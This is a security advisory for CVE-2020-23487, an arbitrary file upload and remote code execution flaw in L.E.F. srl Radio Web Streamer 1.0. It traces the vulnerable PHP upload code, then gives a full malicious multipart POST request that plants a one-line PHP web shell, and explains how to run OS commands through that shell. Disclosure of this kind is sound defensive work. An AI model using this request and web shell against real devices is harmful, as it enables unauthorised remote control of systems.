L.E.F. srl – Radio Web Streamer – v1.0 – Arbitrary File Upload / Remote Code Execution
Title | L.E.F. srl – Radio Web Streamer – v1.0 – Arbitrary File Upload / Remote Code Execution |
Discovery date | 29/05/2020 |
Release date | 25/02/2021 |
Credits | Francesco Marano |
Affected products | Radio Web Streamer, version 1.0 |
Class | Unrestricted Upload of File with Dangerous Type, Remote Code Execution |
Disclosure timeline
29/05/2020 | Request for CVE ID |
27/06/2020 | Additional info sent to mitre |
25/02/2021 | CVE-2020-23487 released |
Vulnerability details
Arbitrary File Upload in L.E.F. srl Radio Web Streamer 1.0 allows an authenticated attacker to upload arbitrary file on the target system, hence executing arbitrary command by uploading a PHP file.
The application let an authenticated user to upload a firmware update as a zip archive. The workflow for the archive upload is the following:
-
the upload folder (which is
/var/www/html/upload
) is retrieved from the configuration file stored at/api/LF-AutomaticVersionUpdate/config/XMLVersionUpdate.xml
and saved into the$directory
variable -
From
/api/LF-AutomaticVersionUpdate/index.php
:
40: $res = $objUpload->upload($directory);
- From
/api/LF-AutomaticVersionUpdate/Control/Upload.php
:
15:public function upload($directory) {
16: //percorso della cartella dove mettere i file caricati dagli utenti
17: $uploaddir = $directory;
[...]
55: //Recupero il percorso temporaneo del file
56: $userfile_tmp = $_FILES['file']['tmp_name'];
[...]
61: //copio il file dalla sua posizione temporanea alla mia cartella upload
62: if (move_uploaded_file($userfile_tmp, $uploaddir . $_FILES['file']['name'])) {
[...]
66: $response["res"] = true;
[...]
75: }
[...]
78: return $response;
- From
/api/LF-AutomaticVersionUpdate/index.php
:
40: $res = $objUpload->upload($directory);
41: if ($res["res"] == true) {
42: $returnVal=$objMain->configurationXML($res["filename"]);
- From
/api/LF-AutomaticVersionUpdate/Control/Main.php
:
18: public function configurationXML($nameFileZip) {
[...]
27: $retVal=$obj->verificationDirectory($folder, $directory, $nameFileZip);
28: return $retVal;
- From
/api/LF-AutomaticVersionUpdate/Control/UnzipSh.php
:
15: public function verificationDirectory($folder, $directory, $fileZip) {
[...]
21: $response = $this->unzipFile($folder, $directory, $fileZip);
- From
/api/LF-AutomaticVersionUpdate/Control/UnzipSh.php
:
33: public function unzipFile($folder, $directory, $fileZip) {
[...]
36: $response["msg"] = "Unzip dell'aggiornamento non andato a buon fine";
[...]
38: $url = $directory . $fileZip;
[...]
40: $zip = new ZipArchive();
41: if ($zip->open($url) === TRUE) {
[...]
71: }
72:
73: return $response;
Since there is no check on file type or file name and given that the file name is chosen by the user and moved into "/var/www/html/upload" folder, the attacker can upload arbitrary file. When during the workflow it reach the "$zip->open()" function it will fails since it is not a zip archive, and the server will give an error message saying "Unzip dell’aggiornamento non andato a buon fine", but the file is not deleted, hence is public accessible at:
http:///upload/
Uploading a PHP file will let an authenticated attacker to create a backdoor on the target system which will be public accessible, even in case of password change by the administrator.
A malicious HTTP POST request to create a web shell on the target is:
POST /api/LF-AutomaticVersionUpdate/index.php HTTP/1.1
Host: <target>
Referer: http://<target>/(homeRouter:uploader)
Content-Type: multipart/form-data; boundary=---------------------------------------9806219841298048758213218907645
Authorization: Bearer *REDACTED*
Content-Length: 254
---------------------------------------9806219841298048758213218907645
Content-Disposition: form-data; name="file"; filename="backdoor.php"
Content-Type: application/x-php
<?php system($_GET["c"]); ?>
---------------------------------------9806219841298048758213218907645--
The response page will contain the following JSON:
{"res":false, "msg":"Unzip dell'aggiornamento non andato a buon fine"}
From now on, an attacker can run arbitrary commands on the target machine
by just sending HTTP GET requests from a browser visiting the following link:
http:///upload/backdoor.php?c=
where <command>
can be any non-interactive OS command.